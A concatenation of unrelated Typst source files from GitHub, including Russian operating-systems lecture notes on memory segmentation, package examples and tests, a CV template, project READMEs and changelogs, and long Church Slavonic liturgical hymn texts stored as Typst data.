- *Best-fit* (наиболее подходящий). Выбираем наименьшее пустое место, куда влезает.
- *Worst-fit* (наименее подходящий). Процесс размещается в наибольшее свободное
пустое место.
Стратегии примерно эквивалентны по результату.
#def[
#defitem[Эффект внешней фрагментации] --- невозможность использования
свободной памяти, из-за её раздробленности.
]
Хочется "сдвинуть" все занятые места влево, чтобы все пустые места превратились
в одно большое место: это достигается благодаря логическим адресам и сборке
мусора (garbage collection).
Сборка мусора делается редко, так как стоит дорого.
В процессах Intel и AMD используются сегментные регистры:
- Физический адрес = Сегментный регистр + Логический адрес
- Передвинуть процесс: Сегментный регистр += x
Если кусок пустой памяти меньше, чем размер элемент списка пустых адресов, то
элемент списка не заводится, а память приписывается к какому-то процессу.
Возникает внутренняя фрагментация.
*\*Планирование процессов и память. Задача\**
= Более сложные схемы управления памятью
== Линейное непрерывное отображение
Проблема с фрагментацией возникает т.к. мы хотим линейно непрерывно отобразить
логическую память в физическую память.
== Схема сегментной организации
Идея: вместо одного одномерного адресного пространства ввести несколько адресных
пространств. То есть для каждой функции вводить своё адресное пространство -- в
свой сегмент. Можно разбивать как-нибудь по-другому (то есть не по функциям).
Для задания *логического* адреса нужно теперь указывать пару: `(Nseg, offset)`
-- номер сегмента и смещение в нем.
Сегменты в оперативной памяти можно разместить в произвольном порядке.
`Физический адрес = Начало(Nseg) + offset`
В `PCB` хранится *таблица сегментов*. Она содержит
- физический адрес начала сегмента
- размер сегмента
- атрибуты (биты управления доступом)
Свойственна внешняя фрагментация, но в значительно меньшей степени.
Позволяет легко реализовать shared memory:
- В физической памяти выделяется сегмент под разделяемую память.
- В логической памяти каждого процесса создается сегмент, который указывает на
ранее выделенный общий сегмент физической памяти.
|
|
https://github.com/Toniolo-Marco/git-for-dummies | https://raw.githubusercontent.com/Toniolo-Marco/git-for-dummies/main/slides/advanced/interactive-staging.typ | typst | #import "@preview/touying:0.5.2": *
#import themes.university: *
#import "@preview/numbly:0.1.0": numbly
#import "@preview/fletcher:0.5.1" as fletcher: node, edge
#let fletcher-diagram = touying-reducer.with(reduce: fletcher.diagram, cover: fletcher.hide)
#import "/src/components/gh-button.typ": gh_button
#import "/src/components/git-graph.typ": branch_indicator, commit_node, connect_nodes, branch
#import "/src/components/utils.typ": rainbow
#import "/src/components/thmbox.typ": custom-box, alert-box |
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/note-me/0.1.1/example.typ | typst | Apache License 2.0 | // Import from @preview namespace is suggested
// #import "@preview/note-me:0.1.1": *
// Import from @local namespace is only for debugging purpose
#import "@local/note-me:0.1.1": *
#note[
Highlights information that users should take into account, even when skimming.
]
#tip[
Optional information to help a user be more successful.
]
#important[
Crucial information necessary for users to succeed.
]
#warning[
Critical content demanding immediate user attention due to potential risks.
]
#caution[
Negative potential consequences of an action.
]
#admonition(
icon: "icons/stop.svg",
color: color.fuchsia,
title: "Custom Title",
background-color: color.silver,
)[
The icon, color and title are customizable.
]
```typ
#note[
Highlights information that users should take into account, even when skimming.
]
#tip[
Optional information to help a user be more successful.
]
#important[
Crucial information necessary for users to succeed.
]
#warning[
Critical content demanding immediate user attention due to potential risks.
]
#caution[
Negative potential consequences of an action.
]
#admonition(
icon: "icons/stop.svg",
color: color.fuchsia,
title: "Custom Title",
)[
The icon, color and title are customizable.
]
``` |
https://github.com/SWATEngineering/Docs | https://raw.githubusercontent.com/SWATEngineering/Docs/main/src/2_RTB/PianoDiProgetto/meta.typ | typst | MIT License | #let title = "Piano di Progetto"
|
https://github.com/Jollywatt/typst-fletcher | https://raw.githubusercontent.com/Jollywatt/typst-fletcher/master/tests/mark-math-mode/test.typ | typst | MIT License | #set page(width: auto, height: auto, margin: 1em)
#import "/src/exports.typ" as fletcher: diagram, node, edge
#table(
columns: 4,
align: horizon,
[Math], [Unicode], [Mark], [Diagram],
..(
$->$, $-->$, $<-$, $<->$, $<-->$,
$->>$, $<<-$,
$>->$, $<-<$,
$=>$, $==>$, $<==$, $<=>$, $<==>$,
$|->$, $|=>$,
$~>$, $<~$,
$arrow.hook$, $arrow.hook.l$,
).map(x => {
let unicode = x.body.text
(x, unicode)
if unicode in fletcher.MARK_SYMBOL_ALIASES {
let marks = fletcher.MARK_SYMBOL_ALIASES.at(unicode)
(raw(marks), diagram(edge((0,0), (1,0), marks: marks)))
} else {
(text(red)[none!],) * 2
}
}).flatten()
)
|
https://github.com/Kasci/LiturgicalBooks | https://raw.githubusercontent.com/Kasci/LiturgicalBooks/master/CSL_old/minea/0_vseob/02_ProrokJeden.typ | typst | #let V = (
"HV": (
("", 4, "Zvannyj svýše", "Iže zarjú bohonačálňijšaho sijánija priím, umá čistotóju, i božéstvennych slovés provozvístnik i proznámenateľ, i prorok božéstvennyj byv, ustá bohodvížimaja javílsja jesí Dúcha, jáže ot Neho tebí pokazújemaja propovíduja, í skazúja vsim jazýkom dajémoje spasénije, i cárstvije Christóvo, vsečéstne (N.): Jehóže molí, spastí i prosvitíti dúšy nášja."),
("", none, "", "íže bohoviďinijem sijája dostójno, i proróčeskim predsidáteľstvom, blahodátiju počestvován, bohodochnovénne (N.), i božéstvennaho spodóblen blažénstva, k preblahómu nýňi derznovénijem tvoim, i mílovanijem oderžím molásja ne prestál o iže víroju ťa voschvaľájuščich, i čtúščich jáko blahohlahóliva, i čestná i bohoprijátna, ot bid izbávíti, i spastí dúšy nášja."),
("", none, "", "Tvojehó proroka (N.) jáko oduševlénna óblaka pokazál jesí, Bezsmértne, vodu točášča v žizň voístinnu víčnuju, posláv sehó bohátno, í darováv Dúcha vsesvjatáho, jedinosúščnaho Tebí Otcú Vsederžíteľu, i Sýnu Tvojemú iz Tvojehó suščestvá vozsíjávšemu: Imže prorečé spasítelnoje prišéstvije Christá Bóha nášeho, i jazýkom vsim spasénije provozvistí."),
),
"HV_S": (
("", 6, "", "Proróče, propovídniče Christóv, prestola velíčestvija nikohdáže otstupáješi, i kojemúždo boľášču prísno predstoíši, v výšnich služá: vselénnuju blahoslovláješi, vsjúdu proslavľájem; prosí očiščénija dušám nášym."),
),
"T": (
("", 2, "", "Proroka tvojehó (N.) pámjať, Hóspodi, prázdnujušče, ťim ťa mólim: spasí dúšy nášja."),
)
)
|
|
https://github.com/LeoColomb/dotdocs | https://raw.githubusercontent.com/LeoColomb/dotdocs/main/packages/leocolomb/cv/1.0.0/template/main.typ | typst | MIT License | #import "@leocolomb/cv:1.0.0": template, term, date
#show: template.with(
name: [<NAME>],
links: (
(name: "home", display: "Earth, ALL"),
(name: "email", link: "mailto:<EMAIL>"),
(name: "phone", link: "tel:+AB 123 456 789"),
(name: "website", link: "https://example.com/", display: "example.com"),
),
tagline: [Oh boy, here we go again],
position: [The Best Title],
company: [The Best Company],
)
== Experience
=== Last Company
==== Last Position\
#term[since 1970][Earth, ALL]
- Passion and arts #date[2023]
|
https://github.com/tingerrr/typst-test | https://raw.githubusercontent.com/tingerrr/typst-test/main/README.md | markdown | MIT License | # typst test
`typst-test` is a test runner for [Typst] projects. It helps you worry less about regressions and speeds up your development.
## Features
Out of the box `typst-test` supports the following features:
- locate the project it is invoked in
- collect and manage test scripts and references
- compile and run tests
- compare test output to references
- provide extra scripting functionality
- running custom scripts for test automation
## Stability
`typst-test` currently makes no stability guarantees, it is considered pre-0.1.0, see the [Milestones] for it's progress towards a first release.
However, all PRs and pushes to main are tested in CI.
A reasonably "stable" version of `typst-test` is available at the `ci-semi-stable` tag.
This version is already used in the CI of various Typst packages, such as cetz, codly, valkyrie, hydra or subpar.
Some prior changes impacting users of `typst-test` are documented in the [migration log][migrating].
## Documentation
To see how to get started with `typst-test`, check out the [Book].
It provides a few chapters aimed to get you started with `typst-test`.
[![An asciicast showing typst-test running the full cetz test suite.][demo-thumb]][demo]
## Contribution
See [CONTRIBUTING.md][contrib] if you want to contribute to `typst-test`.
[migrating]: migrating.md
[contrib]: CONTRIBUTING.md
[Typst]: https://typst.app
[Book]: https://tingerrr.github.io/typst-test/index.html
[Milestones]: https://github.com/tingerrr/typst-test/milestones
[demo-thumb]: https://asciinema.org/a/669405.svg
[demo]: https://asciinema.org/a/669405
|
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/052_March%20of%20the%20Machine%3A%20The%20Aftermath.typ | typst | #import "@local/mtgset:0.1.0": conf
#show: doc => conf("March of the Machine: The Aftermath", doc)
#include "./052 - March of the Machine: The Aftermath/001_She Who Breaks the World.typ"
#include "./052 - March of the Machine: The Aftermath/002_Beyond Repair.typ"
|
|
https://github.com/jgm/typst-hs | https://raw.githubusercontent.com/jgm/typst-hs/main/test/typ/compiler/label-04.typ | typst | Other | // Test that label ignores parbreak.
#show <hide>: none
_Hidden_
<hide>
_Hidden_
<hide>
_Visible_
|
https://github.com/donabe8898/typst-slide | https://raw.githubusercontent.com/donabe8898/typst-slide/main/test/main.typ | typst | MIT License | #set text(font: "0xProto Nerd Font",weight: "light", size: 18pt)
🦀 |
https://github.com/Myriad-Dreamin/tinymist | https://raw.githubusercontent.com/Myriad-Dreamin/tinymist/main/crates/tinymist-query/src/fixtures/completion/base.typ | typst | Apache License 2.0 | // contains: aa,aab,aac,aabc
#let aa() = 1;
#let aab() = 1;
#let aac() = 1;
#let aabc() = 1;
#aac(/* range -2..0 */);
|
https://github.com/msakuta/typst-test | https://raw.githubusercontent.com/msakuta/typst-test/master/README.md | markdown | # typst-test
A test repository to store [typst](https://typst.app/) source code examples and its products.
Check an example output PDFs:
* [Euler-Lagrange equation](https://github.com/msakuta/typst-test/blob/gh-pages/euler-lagrange.pdf), ([source](euler-lagrange.typ))
* [Neural Networks](https://github.com/msakuta/typst-test/blob/gh-pages/neural-network.pdf), ([source](neural-network.typ))
## How to build
Install [typst CLI](https://github.com/typst/typst).
I recommend installing it via cargo since it is the most cross-platform method:
cargo install --git https://github.com/typst/typst
Build a source:
typst compile euler-lagrange.typ
or run a watcher to hot update:
typst watch euler-lagrange.typ
The output file will be produced with the name `euler-lagrange.pdf`
|
|
https://github.com/OrangeX4/vscode-typst-sync | https://raw.githubusercontent.com/OrangeX4/vscode-typst-sync/main/CHANGELOG.md | markdown | MIT License | # Change Log
### 0.2.0
- add command `Import Typst Package`
- add command `Import Typst Local Package`
- add command `Create Typst Local Package`
- add command `Open Typst Local Package`
- add command `Push Typst Repo`
- add command `Pull Typst Repo`
- add command `Typst Sync` |
https://github.com/Kasci/LiturgicalBooks | https://raw.githubusercontent.com/Kasci/LiturgicalBooks/master/CSL_old/oktoich/Hlas5/2_Utorok.typ | typst | #let V = (
"HV": (
("","Rádujsja póstnikom","Uvý mňí prohňívavšemu ťá, mílostivaho Bóha mojehó i Hóspoda! Kolíždy obiščáchsja pokájatisja Christé, i lóž obritóchsja nesmýslennyj! Pérvuju úbo kreščénija okaľách odéždu, zavít že mój, íže k tebí, ostávich: i vtoróje sijé páki zaviščánije, jéže ispovídach tí pred ánhely i čelovíki, óbrazom plačévnym oďíjan: jehóže otložív próčeje, Spáse, do koncá ne ostávi mené pohíbnuti."),
("","","Kotóryj otvít dušé okajánnaja, obrjáščeši v déň súdnyj: ilí któ ťa osuždénija ohňá víčnaho, i próčich mučénij izbávit? Niktóže, ášče ne tý samá umílostiviši blahoutróbnaho, zlája tvojá ostávľši ďijánija, i blahouhódno sťažávši žitijé: pláčušči na vsják déň tvojích bezmírnych sohrišénij, jáže na vsják čás sohrišáješi ďílom, i slóvom, i pomyšlénijem, Christá moľášči, podáti tebí soveršénnoje sích proščénije."),
("","","Da ne soderžít mené Spáse, hrichóvnyj obýčaj vlekíj, nižé da obladájet mnóju bís, prísno borjá, i nizvoďá k vóli svojéj: no ischití mja tohó Vladýčestvija, krípkoju tvojéju rukóju Vsesíľne, i vocarísja vo mňí tý čelovikoľúbče. Vsehó že tvojehó býti mjá spodóbi, i žíti po vóli tvojéj Slóve, imíti pokój v tebí, i obristí mi očiščénije i spasénije i véliju mílosť."),
("","Rádujsja póstnikom","Vsehó preklónšasja v zémľu, i sokrušívšasja neiscíľno uvračúj predtéče Christóv i múčeniče, pribihájuščaho víroju v božéstvennyj pokróv tvój, blažénne: ťímže i dné strášnaho mjá ischití, vóňže choščú pred sudíščem státi, i múkam otdátisja, moľúsja tí, támošnaho stojánija izbávi mjá tohdá, jáko imýj derznovénije nepostýdno múdre, moľá podajúščaho mírovi véliju mílosť."),
("","","Svitíľnik tý sólnca múdre sýj Predtéče Christóv, presvítľijšij, vo ťmú nizpádšusja bezmírnych zól, oblistáj mí zarjú svíta, moľú ťa, i vozdvíhni iz róva hrichóvnaho, nastavľája mjá hlásom tvojím sládkim: íže otcú drévle hlás razrišívyj roždestvóm tvojím, nýňi mój isprávi hlás, moľú ťa, jáko da víroju i ľubóviju slavoslóvľu čelovikoľúbca Bóha i Spása, podajúščaho mírovi véliju mílosť."),
("","","Božéstvennyj chrám býl jesí Bóha živodávca vsích blažénne Proróče, i Predtéče, i propovídniče, živúščaho imíl jesí v sérdci. Jehóže molí prísno vo svjatýj tvój chrám pribihájuščich, i tebé čtúščich Joánne preboháte, chrámy Dúcha býti mólimsja, i k Bóhu priblížitisja: jáko da tvojé počitájem v písnech zastuplénije, i tépluju molítvu, ot nehóže bóľši vsích čelovík sviďíteľstvovalsja jesí dostočúdne."),
("Bohoródičen","","Vés ot mladénstva javíchsja, hrichí neoslábno ďílaja: ujazvíchsja ľúťi umóm, i obýčajem mnóhim v ném prebýv ľubóviju, i nýňi sítuja pláču ľútyja mojejá prélesti, i zláho obýčaja i bezúmija, i duší mojejá pohíbeli: Vladýčice, ne prézri mené zľí pohibájuščaho, no uščédrivši, vsjákaho nachoždénija i strastéj izbávi tvojím zastuplénijem, jáko da poné na stárosť pokájusja Bóhu."),
),
"S": (
("","","Hóspodi, sohrišája ne prestajú, čelovikoľúbiju spodobľájem ne razumíju: odoľij mojemú nedoumíniju jedínyj bláže, i pomíluj mjá."),
("","","Hóspodi, strácha tvojehó bojúsja, i zló tvorjá ne prestajú: któ na sudíšči sudií ne bojítsja? Ilí któ iscilítisja choťá, vračá prohňívajet, jákože áz? Dolhoterpilíve Hóspodi na némošč mojú umilosérdisja, i pomíluj mjá."),
("Múčeničen","","Ščitóm víry obólkšesja, i óbrazom krestnym sebé ukrípľše, k múkam múžeski vdášasja, i dijávoľu hordýňu i lésť nizložíša svjatíji tvojí Hóspodi: ťích moľbámi jáko vsesílen Bóh, mírovi mír nizposlí, i dušám nášym véliju mílosť."),
("Bohoródičen","","Utolí boľízni mnohovozdychájuščija duší mojejá, utolívšaja vsjáku slézu ot licá zemlí. Tý bo čelovíkom boľízni othoňáješi, i hríšnych skórbi razrušáješi: tebé bo vsí sťažáchom nadéždu i utverždénije, presvjatája Máti Ďívo."),
),
)
#let P = (
"1": (
("","","Koňá i vsádnika v móre čermnóje, sokrušájaj bráni mýšceju vysókoju, Christós istrjasé, Izráiľa že spasé pobídnuju písň pojúšča."),
("","","Dúch sokrušén podážď mí blahája, smirénije sérdcu, umú že čistotú, i žitijú ispravlénije, i prehrišénij ostavlénije, i sléz istóčniki, preneporóčnaja."),
("","","Vížď mojú bidú i umilénije, i drévnich prehrišénij iscilí strúpy, i vrémja mí pokajánija dáruj i hrichóv ispovídanije."),
("","","Sebé pláču préžde ischóda mojehó, pomyšľája zól mojích bézdnu, vseneporóčnaja. Ťímže moľúsja tí: Sýna tvojehó umolí, izbáviti mjá múki."),
("","","Imúšči pokajánija vrémja, otstupí ot vsjákija zlóby dušé mojá, i ziždíteľu tvojemú so slezámi vozopíj: Bóže mój, spasí mja moľbámi róždšija ťá."),
),
"3": (
("","","Vodruzívyj na ničesómže zémľu poveľínijem tvojím, i povísivyj neoderžímo ťahoťíjuščuju, na nedvížimim, Christé, kámeni zápovidej tvojích, cérkov tvojú utverdí, jedíne bláže i čelovikoľúbče."),
("","","Strastéj mojích načáľnicy objáša mjá, prečístaja, i jéže po óbrazu i po podóbiju sotvorénnaho mjá Bóžiju ispólniša studá: no sích vréda izbávi mjá, vo umiléniji pojúščaho ťá."),
("","","Lukávno vráh ulovíti mjá tščítsja, víčnujuščaho plámene popalénije pokazáti mjá choťá, prečístaja: no sehó kovárstvija i sovíty razorí, da ťá slávľu rádujasja."),
("","","V róv preispódnij ľstívno mjá položíša mnóhich sohrišénij vrazí právednych: jáko bezpomóščen že nýňi, i ujázvlen vés, prizyváju molítvu tvojú Vladýčice preneporóčnaja, spasí mja."),
("","","V ľínosti žízň iždích okajánnyj, nýňi k smértnym dvérem priblížichsja, i vrážijich navít užasájasja, vopijú ti: iskušénij sích izbávi mjá, da ťá slávľu spasájem."),
),
"4": (
("","","Božéstvennoje tvojé razumív istoščánije, prozorlívo Avvakúm, Christé, so trépetom vopijáše tebí: vo spasénije ľudéj tvojích, spastí pomázannyja tvojá prišél jesí."),
("","","Ujazvíchsja strilámi hrichóvnymi, i vsehó ťilesé ránu nýňi obnošú. Ťímže zovú ti prečístaja: tvojích molítv skórostiju jázvy duší mojejá iscilí."),
("","","Pomíluj čístaja, rabý tvojá: tebé bo chodátaicu k Bóhu sťažáchom, i mólimsja izbávitisja vsjákija núždy i víčnujuščaho mučénija."),
("","","Nadéžda i ščít i utverždénije tý mňí jesí blahája, i ľútych izbavlénije, i prosviščénije duší mojéj, i chvalá, i sťiná, i deržáva."),
("","","Blúdno rastočích bohátstvo dóbrych ďíl, jéže mí Christós jáko bláh darová: da ne prézriši úbo mené prečístaja otrokovíce, hládom pohibájuščaho."),
),
"5": (
("","","Oďijájsja svítom, jáko rízoju, k tebí útreňuju, i tebí zovú: dúšu mojú prosvití omračénnuju Christé, jáko jedín blahoutróben."),
("","","Vížď Vladýčice némošč smirénnyja mojejá duší, i plóti mojejá iznemožénije, i umá mojehó pľinénije, i nenadéžnaho spasí mja."),
("","","Bóha, jehóže rodilá jesí, molí vsehdá, spastí vsích nás, Bohoródicu ťá ispovídujuščich, i slavoslóvjaščich roždestvó tvojé, prečístaja."),
("","","Któ ne blážít tebé vseneporóčnuju? Tvorcá bo vsehó míra Spása Christá i jedínaho Vladýku neskazánno rodilá jesí."),
("","","Strují mňí nizposlí sléz prečístaja, ímiže skvérny i vráski hrichóv mojích omýv, pojú mnóžestvo tvojejá bláhosti."),
),
"6": (
("","","Neístovstvujuščejesja búreju dušetľínnoju, Vladýko Christé, strastéj móre ukrotí, i ot tlí vozvedí mja jáko blahoutróben."),
("","","Vo hlubinú vverhóchsja prehrišénij i bezzakónij: no prostrí rúku tvojú vseneporóčnaja, i ot áda vozvedí mja nečájanija."),
("","","Mnóžestvo vísi sohrišénij, i pómysl smuščájuščich mjá: ťímže uskorí, i izbávi mjá sích, prečístaja."),
("","","Poščadí mja rabá tvojehó Vladýko Christé, moľbámi čísto róždšija ťá, jehdá chóščeši sudíti míru, jehóže sozdál jesí."),
("","","Vo hlubinú nizvlečésja prehrišénij, Vladýčice čístaja, dušá mojá, sňíď bývši bisóm: ťímže nenadéžno spasí mja."),
),
"S": (
("","Sobeznačáľnoje Slóvo","Duší mojejá strásti mnohoboľíznennyja, i plóti mojejá nedúhi vskóri iscilí, umá mojehó blužénija ustávi, preneporóčnaja. I v tišiňí pómysla molítvy prinestí čísty carjú vsjáčeskim, spodóbi Bohoródice, i isprosíti sohrišénij ostavlénije."),
),
"7": (
("","","Prevoznosímyj otcév Hospóď plámeň uhasí, ótroki orosí sohlásno pojúščyja: Bóže, blahoslovén jesí."),
("","","Jehdá prijimú vo úm mój bezmístnych mojích ďijánij mnóžestvo prehrišénij, vseneporóčnaja, bojúsja i užasájusja: ot níchže mjá tvojími molítvami svobodí Ďívo."),
("","","Čérv neusýpnyj, i óhň neuhasímyj, istajavájet mjá vsehdá, i sňidájet mojú dúšu, da ne prijimú sích iskúsa presvjatája Bohoródice."),
("","","Ťmý kromíšnija, i strášnaho mučénija, rabá tvojehó izbávi mjá, Ďívo vseneporóčnaja, vopijúšča Sýnu tvojemú: Bóže, blahoslovén jesí."),
("","","Plóť úbo oskverních srámnymi strasťmí, úm že pomračích skvérnymi mýslmi: no uščédri čístaja, i spasí mja nepotrébnaho rabá tvojehó."),
),
"8": (
("","","Tebí vseďíteľu, v peščí ótrocy vsemírnyj lík splétše, pojáchu: ďilá vsjákaja Hóspoda pójte, i prevoznosíte vo vsjá víki."),
("","","Tebí Bohoródice, nemoščnóe smirénnyja mojejá duší prinošú, i sérdca mojehó nemožénije, i umá mojehó prélesť vozviščáju, tvojejá pómošči prosjá, Ďívo."),
("","","Mílostiv búdi tvojím rabóm Slóve, molítvami róždšija ťá, i spasí pojúščyja: vsjá ďilá Hospódňa Hóspoda pójte, i prevoznosíte jehó vo víki."),
("","","Íže volíteľa róždšaja mílosti, pomíluj vsích víroju pojúščich: vsjá ďilá Hospódňa Hóspoda pójte, i prevoznosíte jehó vo víki."),
("","","Izbávi mjá kromíšnija ťmý, i neusypájuščaho čérvija, blahája Ďívo: tý bo rodilá jesí tvorcá míru: vsjá bo jelíka chóščet, i tvorít tvojími molítvami."),
),
"9": (
("","","Isáije likúj, Ďíva imí vo črévi, i rodí Sýna Jemmanúila Bóha že i čelovíka, vostók ímja jemú: jehóže veličájušče, Ďívu ublažájem."),
("","","Bóha, jehóže rodilá jesí neizrečénno Vladýčice čístaja, molí priľížno, izbáviti nás ot bíd i skorbéj, i búduščaho sudá strášnaho, i svítlosti svjatých jehó spodóbi."),
("","","Páče vsích sohriších, preslúšav tvojá zápovidi, Christé, životvórnyja, i upodóbichsja bezslovésnym skotóm: no tvojejá Mátere Slóve molítvami, nepokájanna ot žitijá ne istórhni mené."),
("","","Jáko mílosti bézdnu róždšaja Slóva Bóžija, pomíluj blahája, vsích dúši pod króv tvój pribihájuščich: ťá bo k Bóhu vsí sťažáchom predstáteľnicu nepostýdnu."),
("","","Očiščénije i ostavlénije prehrišénij isprosí nám, i vsích núždnych preminénije, i žitijá ispravlénije nýňi čísto i svitovídno: da proslavľájem Bohomáti mnóhuju tvojú bláhosť."),
),
)
#let U = (
"S1": (
("","","Sudijí siďášču, i ánhelom predstojáščym, trubí hlasjáščej i plámeni horjášču, čtó sotvoríši dušé mojá, vedóma na súd? Tohdá bo ľútaja tebí predstánut, i tájnaja tvojá obličátsja sohrišénija. Ťímže préžde koncá vozopíj Sudijí: Bóže, očísti mjá i spasí mja."),
("","","Vsí pobdím, i Christá usrjáščim so mnóžestvom jeléja, i sviščámi svítlymi, jáko da čertóha vnútr spodóbimsja: íže bo vňí dveréj postíhnuvyj, bezďíľno Bóhu vozzovét: pomíluj mjá."),
("Bohoródičen","","Stránnoje Ďívy táinstvo, mírovi javísja spasénije: iz nejá bo rodísja bez símene, i plótiju javísja bez istľínija: vsích rádoste, Hóspodi sláva tebí."),
),
"S2": (
("","","Jehdá otkrýjutsja ďilá tvojá, o dušé mojá, ťmám ánhelom predstojáščym Sudijí: kotóryj otvít studú obrjáščeši? Ášče ne préžde koncá vozopijéši slezjášči: sohriších, blahíj Hóspodi, pomíluj mjá!"),
("","","Na odrí sležú sohrišénij mnóhich, okradájem jésm v nadéždi spasénija mojehó: íbo són ľínosti mojejá chodátajstvujet duší mojéj múku: no tý Bóže, roždéjsja ot Ďívy, vozdvíhni mjá k tvojemú píniju, da slávľu ťá."),
("Múčeničen","","Čudesá svjatých tvojích múčenik, sťínu nerazorímu nám darovál jesí Christé Bóže: ťích molítvami vírnyja ľúdi tvojá utverdí, jáko jedín bláh i čelovikoľúbec."),
("Bohoródičen","","Skóryj tvój pokróv, i pómošč, i mílosť, pokaží na rabí tvojém: i vólny čístaja, ukrotí sújetnych pomyšlénij, i pádšuju dúšu mojú vozdvíhni Bohoródice: vím bo, vím Ďívo, jáko móžeši, jelíka chóščeši."),
),
"S3": (
("","Sobeznačáľnoje Slóvo","Vo hlubinú mja hrichá popólzšasja, trevolnénije oburevájet otčájanija: no predvarí Christé, jáko vsesílen, upráviteľu vsích, i ko pristánišču tíchomu ustremí bezstrástija, molítvami tvojehó predtéči, za milosérdije Spáse, i spasí mja."),
("","","Jelisavét neplódstvija svobodísja, Ďíva že páki Ďívoju prebýsť, jehdá hlásom Havriílovym vo črévi začát: no predvzyhravájet vo utróbi, íže vo črévi Ďivíčestem Bóha províďa i Vladýku, predtéča Joánn, vo spasénije náše voploščájemaho."),
("Bohoródičen","","Jáže cvít božéstvennyj ot kórene prozjábšij, kovčéže i svitíľniče, rúčko vsezlatája, svjatája trapézo, životá chľíb nosjášči jáko Sýna tvojehó i Bóha, molí jehó so svjatým predtéčeju, uščédriti i spastí , Bohoródicu ispovídajuščich ťá."),
),
"K": (
"P1": (
"1": (
("","","Zémľu, na ňúže ne vozsijá, ni víďi sólnce kohdá, bézdnu, íže ne víďi náhu širotá nebésnaja, Izrájiľ prójde nevlážno Hóspodi, i vvél jesí jehó v hóru svjatýni tvojejá, chváľašča i pojúšča pobídnuju písň."),
("","","Očiščénije mí dáruj soďíjannych mnóju Spáse, i oslábi mí préžde dáže otsjúdu otití mi, očísti mnóhaho hnojénija Hóspodi, očístivyj prokažénnyja: i spodóbi mjá bez poróka predstáti tebí, prijití choťáščemu sudíti živým i mértvym."),
("","","Hnojénije, jéže ležít na očesích duší mojejá, vozbraňájuščeje mí zríti lučí tvojá, jáže jávľsja na zemlí prostérl jesí, sólnce nezachodímoje: sijé očísti Spáse, i daváj sozercáti Hóspodi blahoutróbne, blahodátej tvojích svít."),
("Múčeničen","","Bódri bývše poveľínij Christóvych chranítelije, uspíste vrážiju vsjú zlóbu stradáľcy blažénniji. Ťímže oťahčájema snóm hrichóvnym, k pokajánija, moľúsja, božéstvenňij bódrosti i mené vozdvíhnite."),
("Múčeničen","","Plótiju spletájemi boríteľu vrahú múčenicy, pobidíste tohó orúžijem krestá, i krovéj tečénijem potopíste: i vincý pobídnyja ot Bóha prijáste, vospivájušče i pojúšče pobídnuju písň."),
("Bohoródičen","","Izbávi mjá obýčaja zláho, čístaja Ďívo, utverdí na kámeni zápovidej, koléblema kozňmí Vladýčice, vétchaho zapináteľa. I spodóbi mené Christú uhodíti, dóbri vospivájušča i pojúšča pobídnuju písň."),
),
"2": (
("","","Koňá i vsádnika v móre čermnóje, sokrušájaj bráni, mýšceju vysókoju Christós istrjasé: Izráiľa že spasé, pobídnuju písň pojúšča."),
("","","Žitijé očiščéno, žízň že neveščéstvennu, pokazál jesí Predtéče, vo veščéstvenňim ťilesí: ťímže mólim ťá, podražátelej sebí soďílaj víroju ťá blažáščich."),
("","","Bézdnu pohruzívyj blahoutróbija, Christá v ríčnych strujách, tohó molí Predtéče, izsušíti bézdnu zól mojích, moľúsja i prosvitíti mój smýsl."),
("","","Predtéče Spásov, pokajánija mí viný chodátajstvuja, isprosí umiléniju dátisja mí, timínija otmyvájuščeje smráda hrichóvnaho, molí čelovikoľúbca, moľúsja tí."),
("Bohoródičen","","Rodilá jesí neizrečénno kromí boľízni, jehóže Otéc préžde vík netľínno rodí, vsepítaja Vladýčice: jehóže molí spastí vsjákaho vréda k tebí pribihájuščich."),
),
),
"P3": (
"1": (
("","","Dvížimoje sérdce mojé Hóspodi, volnámi žitéjskimi, utverdí, v pristánišče tíchoje nastavľája jáko Bóh."),
("","","Pokájatisja tebí Bóhu obiščavájusja, i páki sohrišája, čtó búdu? Káko javľúsja, vnehdá súdiši zemlí?"),
("","","Molénija Hóspodevi prinesém, vozdochném, slézy prolijém čistíteľnyja skvérnam: jáko da izbávimsja támo."),
("Múčeničen","","Umerščvlénnoju mýsliju zakonoprestúpnicy, žízň ľúbjaščiji, uraňáchu pobidonósnyja múčeniki, ispovídajuščyja Christá."),
("Múčeničen","","Lícy múčeničestiji, likóm sopričtášasja úmnych ánhel: i ravnoánheľniji bývše, blahodátiju božéstvennaho Dúcha."),
("Bohoródičen","","Pokajánija vratá nýňi mí otvérzi, vratá svíta, Ďívo: vchódy že strastéj zatvorí smirénnyja mojejá duší."),
),
"2": (
("","","Vodruzívyj na ničesómže zémľu poveľínijem tvojím, i povísivyj neoderžímo ťahoťíjuščuju, na nedvížimim Christé, kámeni zápovidej tvojích, cérkov tvojú utverdí, jedíne bláže i čelovikoľúbče."),
("","","Iscilénija pristupájuščym víroju k chrámu tvojemú, čúdnyj Predtéče istočája vsehdá, iscilí strásti mojehó sérdca, moľú ťa, jáže vseokajánňi sovozrástšyja mí ot nevnimánija, vseboháte."),
("","","Vozdycháju, i rydáňmi soderžím jésm vsehdá, pomyšľája sudíšče tvojé neumýtnoje, jedíne právedňijšij sudijé: v némže mjá, moľbámi krestíteľa tvojehó, neosuždénna Hóspodi Bóže mój sobľudí."),
("","","Nóvaho i vétchaho chodátaj býv, chodátajstvy božéstvennymi slávnyj Predtéče, obetšávšaho mjá hrichí mnóhimi, vopijú ti, pokajánijem obnoví, jáko da vo chvaléniji ťá počitáju."),
("Bohoródičen","","Svjatája Ďívo Máti, jedína vseneporóčnaja, prehrišénij poróka nás izminí: prosvití náše pomyšlénije, serdcá osvjatí, i víčnaho nás izbávi vsích osuždénija, mólimsja."),
),
),
"P4": (
"1": (
("","","Uslýšach Hóspodi slúch tvój, i ubojáchsja, razumích smotrénije tvojé, i proslávich ťá jedíne čelovikoľúbče."),
("","","Hlahól tvojích Hóspodi, nebréh prosviščájuščich, témnaja sotvorích ďilá, i bojúsja támošňaho strášnaho tvojehó sudíšča."),
("","","Vítrilom božéstvennaho strácha vperím dušévnyj korábľ: i k pristániščem pokajánija dostíhnem, zlých ubižávše trevolnénija."),
("Múčeničen","","Kápľuščija múčenicy sládosti, javístesja božéstvennyja hóry: i ráj Bohonasaždénnyj, žízni drévo imúščij Hóspoda."),
("Múčeničen","","Streľáňmi svjatíji, terpínija i poždánija, postriľáste borítelej bisóv, i vincý slávy vosprijáste."),
